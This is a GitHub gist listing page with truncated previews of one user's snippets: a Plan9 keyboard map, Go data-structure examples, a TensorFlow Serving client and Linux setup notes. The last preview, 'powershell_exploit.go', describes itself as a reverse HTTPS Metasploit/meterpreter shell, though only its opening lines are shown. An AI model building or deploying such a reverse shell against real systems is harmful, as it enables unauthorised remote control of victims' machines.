Skip to content

Instantly share code, notes, and snippets.

💻
Available to Work

Mauri de Souza Nunes mauri870

💻
Available to Work
Block or report user

Report or block mauri870

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@mauri870
mauri870 / br-abnt2
Last active May 10, 2019
br-abnt2 kbmap for Plan9. Unfortunatelly I could't figure out how to make the acentuation work, hence the 0 value in line 1, 4, 9 and 12
View br-abnt2
0 26 0
0 27 '[
0 39 'ç
0 40 0
0 41 ''
0 43 ']
0 53 ';
0 115 '/
1 26 0
1 27 '{
@mauri870
mauri870 / tf-serving-client.go
Last active May 16, 2019
Tensorflow Serving Go client for the inception model
View tf-serving-client.go
// Tensorflow Serving Go client for the inception model
// go get github.com/golang/protobuf/ptypes/wrappers google.golang.org/grpc
//
// Compile the proto files:
//
// git clone https://github.com/tensorflow/serving.git
// git clone https://github.com/tensorflow/tensorflow.git
//
// mkdir -p vendor
@mauri870
mauri870 / autoreload.sh
Created May 19, 2017
Rerun pdflatex on the fly when a file changes
View autoreload.sh
#!/bin/bash
ls *.{tex,bib} | entr sh -c "bibtex main && pdflatex -synctex=1 -interaction=nonstopmode main.tex"
@mauri870
mauri870 / manjaro-avell-g1513.md
Last active Sep 16, 2019
Installation of Manjaro 17 and nvidia/bumblebee drivers on Avell G1513
View manjaro-avell-g1513.md

After a weekend of research, stress and pain I finally figure out how to install manjaro 17 and configure the nvidia/bumblebee drivers on my avell laptop

Here's my notebook specs:

$ inxi -MGCNA

Machine:   Device: laptop System: Avell High Performance product: 1513
           Mobo: N/A model: N/A v: 0.1 UEFI: American Megatrends v: N.1.02 date: 09/28/2016
Battery    BAT0: charge: 44.0 Wh 100.0% condition: 44.0/44.0 Wh (100%)
@mauri870
mauri870 / queue.go
Last active Nov 20, 2016
Go program representing a queue data structure. Test it https://play.golang.org/p/QXC3OkMMT3
View queue.go
package main
import (
"fmt"
)
func main() {
// Create a new Queue
queue := NewQueue()
@mauri870
mauri870 / stack.go
Last active Nov 20, 2016
Go program representing a stack data structure. Test it https://play.golang.org/p/gBUeebGQVr
View stack.go
package main
import (
"fmt"
)
func main() {
// Create a new Stack
stack := NewStack()
@mauri870
mauri870 / deque.go
Last active Nov 20, 2016
Go program representing a deque data structure. Test it https://play.golang.org/p/i1BGlRsP19
View deque.go
package main
import (
"fmt"
)
func main() {
// Create a new Deque
deque := NewDeque()
View powershell_exploit.go
// Powershell exploit reverse https metasploit
// It will connect with a meterpreter session running on LHOST:LPORT granting superpowers ;)
package main
import (
"fmt"
"os/exec"
)
You can’t perform that action at this time.